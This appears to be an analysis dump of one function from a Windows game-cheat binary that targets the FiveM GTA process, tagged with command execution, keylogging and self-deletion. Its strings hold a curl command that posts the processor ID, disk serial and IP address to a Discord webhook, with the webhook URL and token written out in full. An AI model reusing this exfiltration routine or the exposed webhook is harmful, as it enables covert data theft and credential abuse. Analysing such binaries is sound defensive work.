Function at 0x140004ab0
Capabilities:
Execute command
Log keystrokes via polling
Self delete

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2d8]
sub rsp, 0x3b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r15d, r15d
lea rcx, [rbp + 0x1a0]
call fcn.140004300
nop
lea r8, str.ProcessorId
lea rdx, str.Win32_Processor
lea rcx, [rbp + 0x120]
call fcn.140002a10
nop
lea r8, str.SerialNumber
lea rdx, str.Win32_DiskDrive
lea rcx, [rbp + 0x100]
call fcn.140002a10
nop
mov rax, qword [0x1400109e8]
cmp qword [0x1400109e0], rax
je 0x1400069a7
call fcn.1400030f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test al, al
je 0x140005dfd
lea rdx, str.HWID_validated._Access_granted.
call fcn.140003630
mov rcx, rax
lea rdx, [0x140003810]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x80]
call fcn.140001980
nop
lea r8, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova r8, qword [rbp + 0x120]
mov rax, qword [rbp + 0x130]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140001d50
nop
lea rcx, [rbp + 0x80]
call fcn.140001890
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x80]
call fcn.140001980
nop
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova r8, qword [rbp + 0x100]
mov rax, qword [rbp + 0x110]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140001d50
nop
lea rcx, [rbp + 0x80]
call fcn.140001890
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov ecx, 0x90
call fcn.1400085d0
mov r14, rax
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], 0x80
mov eax, 0x8f
mov qword [rbp + 0x158], rax
movaps xmm0, xmmword [str.https:__canary.discord.com_api_webhooks_1264847002592612415_BXMOY_hPE3VrrmEyihjC4nFNbkYwksEju_XdZmJyW0aXfV171mIZiCulwa1114F_E7kW]
movups xmmword [r14], xmm0
movaps xmm1, xmmword [0x14000b920]
movups xmmword [r14 + 0x10], xmm1
movaps xmm0, xmmword [0x14000b930]
movups xmmword [r14 + 0x20], xmm0
movaps xmm1, xmmword [0x14000b940]
movups xmmword [r14 + 0x30], xmm1
movaps xmm0, xmmword [0x14000b950]
movups xmmword [r14 + 0x40], xmm0
movaps xmm1, xmmword [0x14000b960]
movups xmmword [r14 + 0x50], xmm1
movaps xmm0, xmmword [0x14000b970]
movups xmmword [r14 + 0x60], xmm0
movaps xmm1, xmmword [0x14000b980]
movups xmmword [r14 + 0x70], xmm1
mov byte [r14 + 0x80], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov ecx, 0x70
call fcn.1400085d0
mov rcx, rax
mov qword [rbp + 0x160], rax
movdqa xmm0, xmmword [0x14000be30]
movdqu xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [str.curl__i__H__Accept:_application_json___H__Content_Type:application_json___X_POST___data___content_:__]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14000b9b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14000b9c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14000b9d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14000b9e0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x14000b9f0]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x14000ba00]
movsd qword [rax + 0x60], xmm0
movzx eax, byte [0x14000ba08]
mov byte [rcx + 0x68], al
mov byte [rcx + 0x69], r15b
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov esi, 5
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 0xf
mov eax, dword [str.__]
mov dword [rbp], eax
movzx eax, byte [0x14000ba10]
mov byte [rbp + 4], al
mov byte [rbp + 5], r15b
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rbp + 0x50]
sub rax, rdx
cmp rax, 0x2f
jb 0x140006b01
lea r13, [rbp + 0x40]
mov r12, qword [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r13, r12
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r15, [rdx + 0x2f]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
cmp r15, rbx
jbe 0x140004eb2
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004e68
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400085d0
test rax, rax
je 0x140004e9a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004ea9
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140004e82
mov rdi, rcx
jmp 0x140004ead
cmp rcx, 0x1000
jb 0x140004ea1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006af5
jmp 0x140004e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400085d0
mov rdi, rax
mov rdx, qword [rbp + 0x50]
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], rbx
movups xmm0, xmmword [str.Authorized_access_attempt:__nProcessor_ID:]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14000ba60]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x14000ba70]
movsd qword [rdi + 0x20], xmm0
mov eax, dword [0x14000ba78]
mov dword [rdi + 0x28], eax
movzx eax, word [0x14000ba7c]
mov word [rdi + 0x2c], ax
movzx eax, byte [0x14000ba7e]
mov byte [rdi + 0x2e], al
lea rcx, [rdi + 0x2f]
mov r8, rdx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
mov r8d, 2
lea rdx, [0x14000ba2c]
lea rcx, [rsp + 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x19
lea rdx, str.Hard_Disk_Serial_Number:
lea rcx, [rbp + 0x20]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r9, [rbp + 0x60]
mov r15, qword [rbp + 0x60]
mov r13, qword [rbp + 0x78]
cmp r13, 0xf
cmova r9, r15
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp + 0x70]
cmp rdi, rax
ja 0x140004ff2
lea rax, [rdi + rcx]
mov qword [rbp - 0x18], rax
lea rbx, [rbp - 0x28]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x28]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rbp - 0x28]
xor ebx, ebx
jmp 0x14000500b
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.1400025c0
mov r13, qword [rbp + 0x78]
mov r15, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x14000ba2c]
lea rcx, [rbp - 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x11
lea rdx, str.User_IP_Address:
lea rcx, [rbp - 0x50]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova r9, qword [rbp + 0x1a0]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp + 0x1b0]
cmp rdi, rax
ja 0x14000512b
lea rax, [rdi + rcx]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x50]
xor ebx, ebx
jmp 0x14000513d
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400025c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400051a1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000519c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000519c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqa xmm6, xmmword [0x14000be20]
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400051f2
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140005239
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005234
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005234
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140005280
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000527b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000527b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x18], xmm6
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400052c7
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400052c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000530f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000530a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000530a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1c0]
call fcn.1400070f0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x140005379
lea rax, [rcx + 5]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x14000535e
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rbp]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
xor ebx, ebx
jmp 0x140005390
mov qword [rsp + 0x20], rsi
lea r9, [rbp]
mov rdx, rsi
mov rcx, rdi
call fcn.1400025c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x80
jb 0x14000541b
lea rax, [rcx + 0x80]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x80
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x80], 0
lea rax, [rsp + 0x30]
mov ebx, 0x8f
jmp 0x140005444
mov qword [rsp + 0x20], 0x80
mov r9, r14
mov edx, 0x80
lea rcx, [rsp + 0x30]
call fcn.1400025c0
mov rbx, qword [rbp + 0x158]
mov r14, qword [rbp + 0x140]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400054a3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000549e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000549e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x1400054f2
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp + 0x1d0], xmm6
mov byte [rbp + 0x1c0], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.140004550
nop
lea rcx, [rbp - 0x70]
call fcn.1400048f0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140005562
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000555c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000555c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400055a1
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000559b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000559b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x1400055e6
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140005625
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000561f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000561f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14000566a
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005664
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005664
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
cmp rbx, 0xf
jbe 0x1400056a5
lea rdx, [rbx + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000569c
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000569c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000860c
nop
cmp r13, 0xf
jbe 0x1400056e0
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400056d7
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000860c
nop
mov rax, qword [rbp + 0x58]
cmp rax, 0xf
jbe 0x14000571c
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140005714
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006995
mov rcx, r12
call fcn.14000860c
lea rcx, [0x14000bb8c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000bb90]
lea rcx, [rbp + 0x220]
call fcn.140003420
nop
lea rdx, str.FiveM_b3095_GTAProcess.exe
lea rcx, [rbp + 0x200]
call fcn.140003420
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp - 0x28], 0x257c098
xor r15d, r15d
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0x410
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
mov edx, 3
lea rcx, [rsp + 0x70]
call fcn.1400079a0
mov r8d, 0x18
lea rdx, [rbp - 0x28]
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x18]
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x80]
call fcn.140007250
nop
mov qword [rsp + 0x30], 0x29755d0
mov qword [rsp + 0x38], 0xa8
mov qword [rsp + 0x40], 0x410
lea rax, [rsp + 0x30]
mov qword [rbp], rax
lea rax, [rsp + 0x48]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call fcn.140006ef0
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xb8]
call fcn.140007250
nop
lea rax, [rbp + 0x80]
mov qword [rbp], rax
lea rax, [rbp + 0xf0]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x240]
call fcn.140006cd0
nop
lea r9, [fcn.140006b70]
mov edx, 0x38
mov r8d, 2
lea rcx, [rbp + 0x80]
call fcn.140008640
nop
lea rcx, [rsp + 0x50]
call fcn.140006b10
nop
lea rcx, [rsp + 0x70]
call fcn.140006b10
lea rcx, [rbp + 0x270]
call fcn.140002250
nop
lea rcx, [rbp + 0x220]
call fcn.1400083b0
mov ebx, eax
test eax, eax
je 0x1400058ae
lea rdx, [rbp + 0x220]
jmp 0x1400058cb
lea rcx, [rbp + 0x200]
call fcn.1400083b0
mov ebx, eax
test eax, eax
je 0x140005cce
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x270]
call fcn.140006f60
mov r8d, ebx
xor edx, edx
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140005907
lea rdx, str.Failed_to_open_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003630
jmp 0x140005d0e
mov ecx, ebx
call fcn.1400084c0
mov r14, rax
test rax, rax
jne 0x140005947
lea rdx, str.Failed_to_get_base_address.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003630
mov rcx, rax
lea rdx, [0x140003810]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005d1f
lea rcx, [rbp - 0x28]
call fcn.140006ca0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x240]
call fcn.140006cb0
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140006e80
nop
lea rdx, str.Enter_hold_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
lea rcx, [rbp + 0x180]
call fcn.140001cb0
nop
lea rdx, [rbp + 0x180]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400072f0
lea rdx, str.Delay__Low_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
lea rdx, str.Delay__High_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
lea rdx, [rbp - 0x2c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
lea rdx, str.Would_you_like_it_to_unADS_for_you___Y_N_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
lea rcx, [rbp + 0x250]
call fcn.140001cb0
nop
lea rdx, [rbp + 0x250]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400072f0
lea rcx, [0x14000bb8c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000bd0c]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005af0
lea rdx, [0x14000bd10]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005af0
lea rdx, [0x14000bd14]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005aeb
lea rdx, [0x14000bd18]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005aeb
lea rdx, [0x14000bd1c]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005ae4
lea rdx, [0x14000bd20]
lea rcx, [rbp + 0x180]
call fcn.1400074d0
test al, al
jne 0x140005ae4
lea rcx, [rbp + 0x180]
call fcn.140001b20
movzx ecx, byte [rax]
call fcn.140003f50
mov esi, eax
cmp eax, 0xffffffff
jne 0x140005af0
lea rdx, str.Invalid_key_entered.
jmp 0x140005c83
mov esi, 0x87
jmp 0x140005af0
mov esi, 6
lea rdx, str.Hold_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
mov rcx, rax
lea rdx, [rbp + 0x180]
call fcn.140007520
mov rcx, rax
lea rdx, [0x140004850]
